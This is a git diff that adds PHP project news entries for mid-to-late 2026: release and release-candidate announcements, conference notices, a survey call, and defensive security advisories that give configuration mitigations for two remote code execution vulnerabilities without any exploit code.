      diff --git a/public/archive/entries/2026-07-30-2.xml b/public/archive/entries/2026-07-30-2.xml new file mode 100644 index 0000000000..3c57d3c74d --- /dev/null +++ b/public/archive/entries/2026-07-30-2.xml @@ -0,0 +1,21 @@ + + + PHP 8.5.9 Released! + https://www.php.net/archive/2026.php#2026-07-30-2 + 2026-07-30T11:38:53+00:00 + 2026-07-30T11:38:53+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.5.9. This is a security release.

      + +

      All PHP 8.5 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.5.9 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-07-30-3.xml b/public/archive/entries/2026-07-30-3.xml new file mode 100644 index 0000000000..4e1bd1f910 --- /dev/null +++ b/public/archive/entries/2026-07-30-3.xml @@ -0,0 +1,22 @@ + + + PHP 8.6.0 Alpha 3 available for testing + https://www.php.net/archive/2026.php#2026-07-30-3 + 2026-07-30T13:24:32+00:00 + 2026-07-30T13:24:32+00:00 + + + + +
      +

      The PHP team is pleased to announce the second testing release of PHP 8.6.0, Alpha 3. This continues the PHP 8.6 release cycle, the rough outline of which is specified in the PHP Wiki.

      +

      For source downloads of PHP 8.6.0 Alpha 3 please visit the download page.

      +

      Please carefully test this version and report any issues found in the GitHub Issues.

      +

      Please DO NOT use this version in production, it is an early test version.

      +

      For more information on the new features and other changes, you can read the NEWS file, or the UPGRADING file for a complete list of upgrading notes. These files can also be found in the release archive.

      +

      The next release will be Beta 1, planned for 13 August 2026.

      +

      The signatures for the release can be found in the manifest or on the pre-release builds page.

      +

      Thank you for helping us make PHP better.

      +
      +
      +
      diff --git a/public/archive/entries/2026-07-30-4.xml b/public/archive/entries/2026-07-30-4.xml new file mode 100644 index 0000000000..58a5e1b1d1 --- /dev/null +++ b/public/archive/entries/2026-07-30-4.xml @@ -0,0 +1,21 @@ + + + PHP 8.3.33 Released! + https://www.php.net/archive/2026.php#2026-07-30-4 + 2026-07-30T14:48:58+00:00 + 2026-07-30T14:48:58+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.3.33. This is a security release.

      + +

      All PHP 8.3 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.3.33 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-07-30-5.xml b/public/archive/entries/2026-07-30-5.xml new file mode 100644 index 0000000000..5d571ac51e --- /dev/null +++ b/public/archive/entries/2026-07-30-5.xml @@ -0,0 +1,21 @@ + + + PHP 8.4.24 Released! + https://www.php.net/archive/2026.php#2026-07-30-5 + 2026-07-30T14:55:16+00:00 + 2026-07-30T14:55:16+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.4.24. This is a security release.

      + +

      All PHP 8.4 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.4.24 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-08-13-1.xml b/public/archive/entries/2026-08-13-1.xml new file mode 100644 index 0000000000..45c13f104b --- /dev/null +++ b/public/archive/entries/2026-08-13-1.xml @@ -0,0 +1,22 @@ + + + PHP 8.6.0 Beta 1 is available for testing + https://www.php.net/archive/2026.php#2026-08-13-1 + 2026-08-13T14:33:26+00:00 + 2026-08-13T14:33:26+00:00 + + + + +
      +

      The PHP team is pleased to announce the first beta release of PHP 8.6.0, Beta 1. This continues the PHP 8.6 release cycle, the rough outline of which is specified in the PHP Wiki.

      +

      For source downloads of PHP 8.6.0 Beta 1 please visit the download page.

      +

      Please carefully test this version and report any issues found on GitHub.

      +

      Please DO NOT use this version in production, it is an early test version.

      +

      For more information on the new features and other changes, you can read the NEWS file, or the UPGRADING file for a complete list of upgrading notes. These files can also be found in the release archive.

      +

      The next release will be Beta 2, planned for 27 Aug 2026.

      +

      The signatures for the release can be found in the manifest or on the Release Candidates page.

      +

      Thank you for helping us make PHP better.

      +
      +
      +
      diff --git a/public/archive/entries/2026-08-18-1.xml b/public/archive/entries/2026-08-18-1.xml new file mode 100644 index 0000000000..8e4a783228 --- /dev/null +++ b/public/archive/entries/2026-08-18-1.xml @@ -0,0 +1,17 @@ + + + LonghornPHP 2026 + https://www.php.net/archive/2026.php#2026-08-18-1 + 2026-08-18T10:14:50+00:00 + 2026-08-18T10:14:50+00:00 + + + 2026-10-15 + + longhornphp.png + +
      +

      Longhorn PHP is back for 2026! The schedule is now live, and tickets are on sale! The conference will be held in Austin, Texas, and will start with an optional tutorial day on Thursday, October 15, followed by a full day of talks, keynotes, open spaces and more, on Friday, October 16. Our full schedule is available now, with Early Bird pricing available through end of day September 16th.

      +
      +
      +
      diff --git a/public/archive/entries/2026-08-25-1.xml b/public/archive/entries/2026-08-25-1.xml new file mode 100644 index 0000000000..05789ef8ee --- /dev/null +++ b/public/archive/entries/2026-08-25-1.xml @@ -0,0 +1,25 @@ + + + Last Call for the State of PHP Survey + https://www.php.net/archive/2026.php#2026-08-25-1 + 2026-08-25T08:38:33+00:00 + 2026-08-25T08:38:33+00:00 + + + + +

      + The State of PHP survey is still open, but not for much longer. It asks how PHP is working for you: what you build with, what is painful, and what you think PHP should focus on next. It takes around 15 minutes. +

      +

      + The survey is run by The PHP Foundation in partnership with PhpStorm by JetBrains. +

      +

      + The aggregated results will be published later this year as the State of PHP 2026 report. The anonymized raw dataset will be released along with it, so anyone in the community can check the numbers or run their own analysis. +

      +

      + More responses mean a better picture of what matters to PHP users. If you have not filled it in yet, please do, and share it with your colleagues and user groups. +

      +
      +
      +
      diff --git a/public/archive/entries/2026-08-27-1.xml b/public/archive/entries/2026-08-27-1.xml new file mode 100644 index 0000000000..ffa1b13584 --- /dev/null +++ b/public/archive/entries/2026-08-27-1.xml @@ -0,0 +1,22 @@ + + + PHP 8.6.0 Beta 2 available for testing + https://www.php.net/archive/2026.php#2026-08-27-1 + 2026-08-27T10:55:50+00:00 + 2026-08-27T10:55:50+00:00 + + + + +
      +

      The PHP team is pleased to announce a new beta release of PHP 8.6.0, Beta 2. This continues the PHP 8.6 release cycle, the rough outline of which is specified in the PHP Wiki.

      +

      For source downloads of PHP 8.6.0 Beta 2 please visit the download page.

      +

      Please carefully test this version and report any issues found on GitHub.

      +

      Please DO NOT use this version in production, it is an early test version.

      +

      For more information on the new features and other changes, you can read the NEWS file, or the UPGRADING file for a complete list of upgrading notes. These files can also be found in the release archive.

      +

      The next release will be Beta 3, planned for 10 Sep 2026.

      +

      The signatures for the release can be found in the manifest or on the Release Candidates page.

      +

      Thank you for helping us make PHP better.

      +
      +
      +
      diff --git a/public/archive/entries/2026-08-27-2.xml b/public/archive/entries/2026-08-27-2.xml new file mode 100644 index 0000000000..d9a39824ec --- /dev/null +++ b/public/archive/entries/2026-08-27-2.xml @@ -0,0 +1,21 @@ + + + PHP 8.4.25 Released! + https://www.php.net/archive/2026.php#2026-08-27-2 + 2026-08-27T14:59:19+00:00 + 2026-08-27T14:59:19+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.4.25. This is a bug fix release.

      + +

      All PHP 8.4 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.4.25 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-08-27-3.xml b/public/archive/entries/2026-08-27-3.xml new file mode 100644 index 0000000000..cd7c62d006 --- /dev/null +++ b/public/archive/entries/2026-08-27-3.xml @@ -0,0 +1,21 @@ + + + PHP 8.5.10 Released! + https://www.php.net/archive/2026.php#2026-08-27-3 + 2026-08-27T22:44:37+00:00 + 2026-08-27T22:44:37+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.5.10. This is a bug fix release.

      + +

      All PHP 8.5 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.5.10 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-08-31-1.xml b/public/archive/entries/2026-08-31-1.xml new file mode 100644 index 0000000000..de53499a9d --- /dev/null +++ b/public/archive/entries/2026-08-31-1.xml @@ -0,0 +1,25 @@ + + + Forum PHP 2026 - Paris (France) + https://www.php.net/archive/2026.php#2026-08-31-1 + 2026-08-31T11:42:50+00:00 + 2026-08-31T11:42:50+00:00 + + + 2026-10-10 + + forumphp-2026.png + +
      +

      + Join the biggest PHP event organized by the French PHP user group, organized for the third time in Disneyland Paris, at the Hotel New York - The Art of Marvel! During two days, on October 8th and 9th, enjoy the company of our friendly audience, share your knowledge with +700 attendees, meet the companies who use PHP every day, in a environment that will bring even more magic to the language. +

      +

      + Date: October 8 & 9 +

      +

      + Check out more details at Afup.org +

      +
      +
      +
      diff --git a/public/archive/entries/2026-09-02-1.xml b/public/archive/entries/2026-09-02-1.xml new file mode 100644 index 0000000000..34bc08c40a --- /dev/null +++ b/public/archive/entries/2026-09-02-1.xml @@ -0,0 +1,27 @@ + + + API Platform Conference 2026 - Lille (France) & Online + https://www.php.net/archive/2026.php#2026-09-02-1 + 2026-09-02T06:18:52+00:00 + 2026-09-02T06:18:52+00:00 + + + 2026-09-18 + + api-platform-con-2026.png + +

      + API Platform Conference will return on September 17th and 18th, 2026, both in Lille (France) and online. +

      +

      + The API Platform Conference is a two-day event that highlights the latest trends, best practices, and case studies related to API Platform and its ecosystem, including PHP, Symfony, JavaScript, AI, FrankenPHP, performance, and tools. +

      +

      + With nearly 30 talks delivered in both English and French, the conference is a must-attend for innovative companies, project leaders, and skilled developers. If you're a developer, CTO, or decision-maker specializing in these technologies, this event is tailored for you! +

      +

      + More info at api-platform.com/con/2026 +

      +
      +
      +
      diff --git a/public/archive/entries/2026-09-02-2.xml b/public/archive/entries/2026-09-02-2.xml new file mode 100644 index 0000000000..25196c9c70 --- /dev/null +++ b/public/archive/entries/2026-09-02-2.xml @@ -0,0 +1,28 @@ + + + PHP Conference Ehime 2026 + https://www.php.net/archive/2026.php#2026-09-02-1 + 2026-09-02T14:30:00+00:00 + 2026-09-02T14:30:00+00:00 + + + 2026-10-03 + + phpcon_ehime2026.png + +
      +

      + PHP Conference Ehime will be held for the first time on October 3, 2026 (JST), at Ehime University Johoku Campus in Matsuyama City, Ehime Prefecture, Japan.🍊 +

      +

      + The theme of the conference is "技術愛とコミュニティ愛と愛媛愛と": love for technology, love for the community, and love for Ehime. +

      +

      + Join us in this castle and hot-spring town of Shikoku, and connect with PHP developers from all over Japan. +

      +

      + Tickets are on sale now, and further information is available on the event page and on X(Twitter). +

      +
      +
      +
      diff --git a/public/archive/entries/2026-09-09-1.xml b/public/archive/entries/2026-09-09-1.xml new file mode 100644 index 0000000000..2cab7a04f9 --- /dev/null +++ b/public/archive/entries/2026-09-09-1.xml @@ -0,0 +1,24 @@ + + + PHPBenelux Conference 2027, Antwerp Belgium + https://www.php.net/archive/2026.php#2026-09-09-1 + 2026-09-09T20:40:47+00:00 + 2026-09-09T20:40:47+00:00 + + + 2026-10-31 + + phpbenelux_conference_logo_2027.png + +
      + The PHPBenelux Conference is back and now it's your turn to take the stage! + + Whether you're a developer, architect, engineering lead, DevOps engineer, or open-source contributor, we'd love to hear your story. + + Join a long tradition of knowledge sharing, inspire fellow developers, and help shape the next chapter of the PHP ecosystem. + + Share your unique perspective, submit your proposal today! + +
      +
      +
      diff --git a/public/archive/entries/2026-09-09-2.xml b/public/archive/entries/2026-09-09-2.xml new file mode 100644 index 0000000000..ae732eea3a --- /dev/null +++ b/public/archive/entries/2026-09-09-2.xml @@ -0,0 +1,21 @@ + + + PHPBenelux Conference 2027, Antwerp Belgium + https://www.php.net/archive/2026.php#2026-09-09-2 + 2026-09-09T20:50:57+00:00 + 2026-09-09T20:50:57+00:00 + + + 2027-01-23 + + phpbenelux_conference_logo_2027.png + +
      + PHPBenelux is back! + + After 11 successful editions, the leading PHP conference in Belgium, the Netherlands and Luxembourg is back for a one-day event on Saturday January 23 2027. Join us in Antwerp for a new chapter of technical excellence, community, and connection. + + Buy your tickets here, and visit https://conference.phpbenelux.eu for more information about the conference. +
      +
      +
      diff --git a/public/archive/entries/2026-09-10-1.xml b/public/archive/entries/2026-09-10-1.xml new file mode 100644 index 0000000000..d8c654944b --- /dev/null +++ b/public/archive/entries/2026-09-10-1.xml @@ -0,0 +1,22 @@ + + + PHP 8.6.0 Beta 3 is available for testing + https://www.php.net/archive/2026.php#2026-09-10-1 + 2026-09-10T22:19:15+00:00 + 2026-09-10T22:19:15+00:00 + + + + +
      +

      The PHP team is pleased to announce the third beta release of PHP 8.6.0, Beta 3. This continues the PHP 8.6 release cycle, the rough outline of which is specified in the PHP Wiki.

      +

      For source downloads of PHP 8.6.0 Beta 3 please visit the download page.

      +

      Please carefully test this version and report any issues found on GitHub.

      +

      Please DO NOT use this version in production, it is an early test version.

      +

      For more information on the new features and other changes, you can read the NEWS file, or the UPGRADING file for a complete list of upgrading notes. These files can also be found in the release archive.

      +

      The next release will be RC 1, planned for 24 September 2026.

      +

      The signatures for the release can be found in the manifest or on the Release Candidates page.

      +

      Thank you for helping us make PHP better.

      +
      +
      +
      diff --git a/public/archive/entries/2026-09-11-1.xml b/public/archive/entries/2026-09-11-1.xml new file mode 100644 index 0000000000..56ef77625d --- /dev/null +++ b/public/archive/entries/2026-09-11-1.xml @@ -0,0 +1,36 @@ + + + Dutch PHP Conference 2027 + https://www.php.net/archive/2026.php#2026-09-11-1 + 2026-09-11T07:54:45+00:00 + 2026-09-11T07:54:45+00:00 + + + + 2026-12-18 + + dpc-2027.png + +
      +

      🚀 Dutch PHP Conference 2027 is coming! 🚀

      +

      We’re thrilled to announce that the 21st edition of the Dutch PHP Conference will take place from March 16 to March 19, 2027 in Amsterdam! 🗓️

      + +

      🎤 Call for Papers is now OPEN! 🎤

      +

      Got insights, skills, or experience to share? Submit your talk ideas before the deadline on December 18th! We’re looking for both technical and non-technical sessions that will inspire and engage our community.

      + +

      🎟️ Early Bird Tickets Available Now! 🎟️

      +

      This year, we're excited to split our conference into an action-packed 2-day format! A standard DPC conference day ticket now also gives you full access to Webdevcon (your gateway to the latest in web technology 🌐🚀).

      + +

      Want the ultimate experience? Our 4-day Early Bird tickets are available now! This all-access pass grants you entry to our intensive workshop days PLUS all co-located conferences, including Appdevcon (where app development meets creativity 📱✨) and the Dutch AI Conference. Secure your spot for a fantastic lineup of workshops, sessions, and social activities.

      + +

      Get ready for an incredible edition of #DPC27! 🌟

      + +

      See you there! 🚀🎉

      +
      +
      +
      diff --git a/public/archive/entries/2026-09-24-1.xml b/public/archive/entries/2026-09-24-1.xml new file mode 100644 index 0000000000..509a8426a7 --- /dev/null +++ b/public/archive/entries/2026-09-24-1.xml @@ -0,0 +1,22 @@ + + + PHP 8.6.0 RC2 available for testing + https://www.php.net/archive/2026.php#2026-09-24-1 + 2026-09-24T08:21:25+00:00 + 2026-09-24T08:21:25+00:00 + + + + +
      +

      The PHP team is pleased to announce the first release candidate of PHP 8.6.0, RC2. It is not a typo: a mistake was made while packaging RC1, so RC2 was released instead. For a full explanation, please see this blog post. This continues the PHP 8.6 release cycle, whose rough outline is specified in the PHP Wiki.

      +

      Source downloads of PHP 8.6.0 RC2 are available on the download page.

      +

      Please carefully test this version and report any issues found in the GitHub Issues.

      +

      Please DO NOT use this version in production, it is an early test version.

      +

      For more information on the new features and other changes, you can read the NEWS file, or the UPGRADING file for a complete list of upgrading notes. These files can also be found in the release archive.

      +

      The next release will be RC3, planned for 8 October 2026.

      +

      The signatures for the release can be found in the manifest or on the pre-release builds page.

      +

      Thank you for helping us make PHP better.

      +
      +
      +
      diff --git a/public/archive/entries/2026-09-24-2.xml b/public/archive/entries/2026-09-24-2.xml new file mode 100644 index 0000000000..4bcfa9272e --- /dev/null +++ b/public/archive/entries/2026-09-24-2.xml @@ -0,0 +1,21 @@ + + + PHP 8.3.35 Released! + https://www.php.net/archive/2026.php#2026-09-24-2 + 2026-09-24T09:51:44+00:00 + 2026-09-24T09:51:44+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.3.35. This is a security release.

      + +

      All PHP 8.3 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.3.35 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-09-24-3.xml b/public/archive/entries/2026-09-24-3.xml new file mode 100644 index 0000000000..5d96aa5eaf --- /dev/null +++ b/public/archive/entries/2026-09-24-3.xml @@ -0,0 +1,21 @@ + + + PHP 8.5.11 Released! + https://www.php.net/archive/2026.php#2026-09-24-3 + 2026-09-24T11:40:51+00:00 + 2026-09-24T11:40:51+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.5.11. This is a security release.

      + +

      All PHP 8.5 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.5.11 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-09-24-4.xml b/public/archive/entries/2026-09-24-4.xml new file mode 100644 index 0000000000..e38fffa71c --- /dev/null +++ b/public/archive/entries/2026-09-24-4.xml @@ -0,0 +1,21 @@ + + + PHP 8.2.34 Released! + https://www.php.net/archive/2026.php#2026-09-24-4 + 2026-09-24T13:53:04+00:00 + 2026-09-24T13:53:04+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.2.34. This is a security release.

      + +

      All PHP 8.2 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.2.34 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-09-24-5.xml b/public/archive/entries/2026-09-24-5.xml new file mode 100644 index 0000000000..74a65822bb --- /dev/null +++ b/public/archive/entries/2026-09-24-5.xml @@ -0,0 +1,21 @@ + + + PHP 8.4.26 Released! + https://www.php.net/archive/2026.php#2026-09-24-5 + 2026-09-24T15:26:06+00:00 + 2026-09-24T15:26:06+00:00 + + + + + +

      The PHP development team announces the immediate availability of PHP 8.4.26. This is a security release.

      + +

      All PHP 8.4 users are encouraged to upgrade to this version.

      + +

      For source downloads of PHP 8.4.26 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-10-08-1.xml b/public/archive/entries/2026-10-08-1.xml new file mode 100644 index 0000000000..0d161db1c6 --- /dev/null +++ b/public/archive/entries/2026-10-08-1.xml @@ -0,0 +1,22 @@ + + + PHP 8.6.0 RC3 available for testing + https://www.php.net/archive/2026.php#2026-10-08-1 + 2026-10-08T15:12:35+00:00 + 2026-10-08T15:12:35+00:00 + + + + +
      +

      The PHP team is pleased to announce the second release candidate of PHP 8.6.0, RC3. This continues the PHP 8.6 release cycle, whose rough outline is specified in the PHP Wiki.

      +

      Source downloads of PHP 8.6.0 RC3 are available on the download page.

      +

      Please carefully test this version and report any issues found in the GitHub Issues.

      +

      Please DO NOT use this version in production, it is an early test version.

      +

      For more information on the new features and other changes, you can read the NEWS file, or the UPGRADING file for a complete list of upgrading notes. These files can also be found in the release archive.

      +

      The next release will be RC4, planned for 22 October 2026.

      +

      The signatures for the release can be found in the manifest or on the pre-release builds page.

      +

      Thank you for helping us make PHP better.

      +
      +
      +
      diff --git a/public/archive/entries/2026-10-20-1.xml b/public/archive/entries/2026-10-20-1.xml new file mode 100644 index 0000000000..39f9447463 --- /dev/null +++ b/public/archive/entries/2026-10-20-1.xml @@ -0,0 +1,40 @@ + + + Upcoming Critical PHP Security Release + https://www.php.net/archive/2026.php#2026-10-20-1 + 2026-10-20T20:32:00+00:00 + 2026-10-20T20:32:00+00:00 + + + + +
      +

      + The PHP security team would like to give advance notice of an + upcoming security release. +

      +

      + It is scheduled for Wednesday, 21 October 2026 at 14:00 UTC. +

      +

      + It addresses two critical vulnerabilities, both rated CVSS v4.0 9.2. +

      +

      + All PHP users are encouraged to prepare now so they can upgrade as + soon as the release is available. +

      +

      + We reserve the right to release earlier should details of either + vulnerability become public, or should evidence of active exploitation + appear in the wild. +

      +

      + Full details, affected versions, and the fixed versions will be + published with the release. +

      +

      + Thank you for helping us keep PHP secure. +

      +
      +
      +
      diff --git a/public/archive/entries/2026-10-21-1.xml b/public/archive/entries/2026-10-21-1.xml new file mode 100644 index 0000000000..dc3fb398e1 --- /dev/null +++ b/public/archive/entries/2026-10-21-1.xml @@ -0,0 +1,37 @@ + + + PHP 8.2.35 Released! + https://www.php.net/archive/2026.php#2026-10-21-1 + 2026-10-21T00:05:37+00:00 + 2026-10-21T00:05:37+00:00 + + + + + +
      +

      + The PHP development team announces the immediate availability of PHP 8.2.35. + + This is a security release fixing two critical vulnerabilities + (CVE-2026-109618, CVE-2026-109619) that can allow unauthenticated remote + code execution. All PHP 8.2 users are strongly encouraged to update immediately. + +

      + +

      + There are no complete mitigations, updating is the only safe choice. See the + security advisory for details. +

      + +

      + PHP 8.2 reaches end of life on 31 December 2026 and will receive no further + security fixes after that date. Please plan your upgrade to a supported version. +

      + +

      For source downloads of PHP 8.2.35 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-10-21-2.xml b/public/archive/entries/2026-10-21-2.xml new file mode 100644 index 0000000000..1a7e37cdf3 --- /dev/null +++ b/public/archive/entries/2026-10-21-2.xml @@ -0,0 +1,32 @@ + + + PHP 8.3.36 Released! + https://www.php.net/archive/2026.php#2026-10-21-2 + 2026-10-21T00:14:54+00:00 + 2026-10-21T00:14:54+00:00 + + + + + +
      +

      + The PHP development team announces the immediate availability of PHP 8.3.36. + + This is a security release fixing two critical vulnerabilities + (CVE-2026-109618, CVE-2026-109619) that can allow unauthenticated remote + code execution. All PHP 8.3 users are strongly encouraged to update immediately. + +

      + +

      + There are no complete mitigations, updating is the only safe choice. See the + security advisory for details. +

      + +

      For source downloads of PHP 8.3.36 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-10-21-3.xml b/public/archive/entries/2026-10-21-3.xml new file mode 100644 index 0000000000..c4b83a5f41 --- /dev/null +++ b/public/archive/entries/2026-10-21-3.xml @@ -0,0 +1,32 @@ + + + PHP 8.4.27 Released! + https://www.php.net/archive/2026.php#2026-10-21-3 + 2026-10-21T00:20:54+00:00 + 2026-10-21T00:20:54+00:00 + + + + + +
      +

      + The PHP development team announces the immediate availability of PHP 8.4.27. + + This is a security release fixing two critical vulnerabilities + (CVE-2026-109618, CVE-2026-109619) that can allow unauthenticated remote + code execution. All PHP 8.4 users are strongly encouraged to update immediately. + +

      + +

      + There are no complete mitigations, updating is the only safe choice. See the + security advisory for details. +

      + +

      For source downloads of PHP 8.4.27 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-10-21-4.xml b/public/archive/entries/2026-10-21-4.xml new file mode 100644 index 0000000000..6f434a9e80 --- /dev/null +++ b/public/archive/entries/2026-10-21-4.xml @@ -0,0 +1,32 @@ + + + PHP 8.5.12 Released! + https://www.php.net/archive/2026.php#2026-10-21-4 + 2026-10-21T00:24:52+00:00 + 2026-10-21T00:24:52+00:00 + + + + + +
      +

      + The PHP development team announces the immediate availability of PHP 8.5.12. + + This is a security release fixing two critical vulnerabilities + (CVE-2026-109618, CVE-2026-109619) that can allow unauthenticated remote + code execution. All PHP 8.5 users are strongly encouraged to update immediately. + +

      + +

      + There are no complete mitigations, updating is the only safe choice. See the + security advisory for details. +

      + +

      For source downloads of PHP 8.5.12 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

      +
      +
      diff --git a/public/archive/entries/2026-10-21-5.xml b/public/archive/entries/2026-10-21-5.xml new file mode 100644 index 0000000000..19f4acc3f9 --- /dev/null +++ b/public/archive/entries/2026-10-21-5.xml @@ -0,0 +1,66 @@ + + + Security advisory: Critical remote code execution vulnerabilities, update now + https://www.php.net/archive/2026.php#2026-10-21-5 + 2026-10-21T00:35:26+00:00 + 2026-10-21T00:35:26+00:00 + + + + +
      +

      +PHP 8.5.12, 8.4.27, 8.3.36 and 8.2.35 fix two critical vulnerabilities that can allow unauthenticated remote code execution. All PHP users are strongly encouraged to update immediately. +

      + +

      Who is at risk: all PHP installations serving web requests, including PHP-FPM, Apache with mod_php, php-cgi, FrankenPHP and LiteSpeed. We consider the risk highest for mod_php, with a demonstrated exploit where an unauthenticated request can trigger the attack before any application code runs.

      + +

      The vulnerabilities:

      + +
        +
      • RCE via OOM corruption, CVE-2026-109618 (GHSA-w8hw-w9fx-j79w): out-of-memory +handling can interrupt PHP while internal request data is only partially initialized. Request cleanup may then treat the invalid data as valid.
      • +
      • RCE via stale global state, CVE-2026-109619 (GHSA-6wmf-4rv5-p3rp): request-owned +internal state can survive after its backing memory has been freed. A later request handled by the same worker may use that stale state before normal initialization resets it.
      • +
      + +

      How to update:

      + +
        +
      • Update to PHP 8.5.12, 8.4.27, 8.3.36 or 8.2.35. Source downloads are on our downloads page. Windows source and binaries are on the same page.
      • +
      • Linux distributions and LTS vendors received the patches in advance, so check your vendor for updated packages.
      • +
      • PHP 8.1 and older no longer receive updates from the PHP project. Some distributions and LTS vendors provide backported fixes, so contact your vendor for details, or upgrade to a supported version.
      • + +
      • Given the severity of these vulnerabilities, the PHP security team provided minimal source-backports for PHP 7.4, PHP 8.0, and PHP 8.1 to help people building from source or without access to an LTS vendor. +
      • +
      + +

      If you cannot update immediately: while only an update is a complete solution, the following measures reduce exposure to specific attack paths but do not make an installation safe.

      + +

      RCE via OOM corruption (CVE-2026-109618):

      + +
        +
      • Set memory_limit=-1, preferably in a way applications can't override, such as php_admin_value in the FPM pool or Apache configuration, and check that no pool, directory or application setting puts a finite limit back. This removes the controllable PHP memory limit failure, but an underlying allocation failure can still reach the vulnerable path.
      • +
      • Set a low post_max_size. For applications that don't require file uploads, set post_max_size = 8M. If file uploads are necessary, set post_max_size = 32M. Keep upload_max_filesize below post_max_size. +Consider enforcing limits at the web server or proxy level for decoded request size, input field count, multipart part count, header count, and nesting depth. These +limits must also cover requests without a usable Content-Length.
      • +
      • Use a container or cgroup limit as an availability boundary, preferably with a policy that kills only the affected worker. Do not substitute RLIMIT_AS or +RLIMIT_DATA, as these can cause the vulnerable allocation failure.
      • +
      + +

      RCE via stale global state (CVE-2026-109619):

      + +
        +
      • Set session.upload_progress.enabled=0 and restart every worker. Use php.ini, an FPM pool or server +configuration that applies before request parsing. Do not rely on ini_set() or FPM .user.ini. This blocks the confirmed session paths but not other variants.
      • +
      • On PHP 8.5, set fatal_error_backtraces=0 and restart every worker. This blocks the confirmed fatal backtrace path only.
      • +
      • Remove invalid or deprecated settings applied per request that emit diagnostics before initialization. Hiding diagnostics with error_reporting, display_errors +or @ does not help.
      • +
      • Fix attacker-reachable fatal errors and execution timeouts, including failures in callbacks, upload or import processing and cleanup.
      • +
      + +

      The advisories linked above have the full technical details.

      + +
      +
      +
      diff --git a/public/archive/entries/2026-10-21-6.xml b/public/archive/entries/2026-10-21-6.xml new file mode 100644 index 0000000000..d447e93a00 --- /dev/null +++ b/public/archive/entries/2026-10-21-6.xml @@ -0,0 +1,23 @@ + + + PHP 8.6.0 RC4 available for testing + https://www.php.net/archive/2026.php#2026-10-21-6 + 2026-10-21T15:41:41+00:00 + 2026-10-21T15:41:41+00:00 + + + + +
      +

      The PHP team is pleased to announce the third release candidate of PHP 8.6.0, RC4. This continues the PHP 8.6 release cycle, whose rough outline is specified in the PHP Wiki.

      +

      Source downloads of PHP 8.6.0 RC4 are available on the download page.

      +

      Please carefully test this version and report any issues found in the GitHub Issues.

      +

      This version also contains the fixes for two critical vulnerabilities that can allow unauthenticated remote code execution. Everyone running earlier builds of PHP 8.6.0 is strongly encouraged to update immediately.

      +

      Please DO NOT use this version in production, it is an early test version.

      +

      For more information on the new features and other changes, you can read the NEWS file, or the UPGRADING file for a complete list of upgrading notes. These files can also be found in the release archive.

      +

      The next release will be the last release candidate (RC5), planned for 5 November 2026.

      +

      The signatures for the release can be found in the manifest or on the pre-release builds page.

      +

      Thank you for helping us make PHP better.

      +
      +
      +
      diff --git a/public/archive/entries/2026-10-23-1.xml b/public/archive/entries/2026-10-23-1.xml new file mode 100644 index 0000000000..09c595fe75 --- /dev/null +++ b/public/archive/entries/2026-10-23-1.xml @@ -0,0 +1,34 @@ + + + Informational advisory: Session upload progress + https://www.php.net/archive/2026.php#2026-10-23-1 + 2026-10-23T10:12:28+00:00 + 2026-10-23T10:12:28+00:00 + + + + +
      +

      + We suggest you set session.upload_progress.enabled=0 until the + next regular bugfix release, to fully protect from an unlikely RCE vector. + This setting was already listed as a mitigation in the + GHSA-6wmf-4rv5-p3rp + advisory for CVE-2026-109619 published on Oct 21st, 2026. If you applied it + then, keep it in place and no further action is needed. +

      +

      + The issue can only occur under an unusual combination of configuration and + application code. An application must set + session.serialize_handler to php_binary or + php_serialize in its configuration and then switch it to + php at runtime with ini_set() before calling + session_start(). Session upload progress must also still be + enabled. Applications that never change the serialize handler at runtime can + keep the feature enabled. Since this setup is unlikely in practice, we are + handling it in the regular release cycle and will publish a full advisory for + CVE-2026-115560 with the next release. +

      +
      +
      +
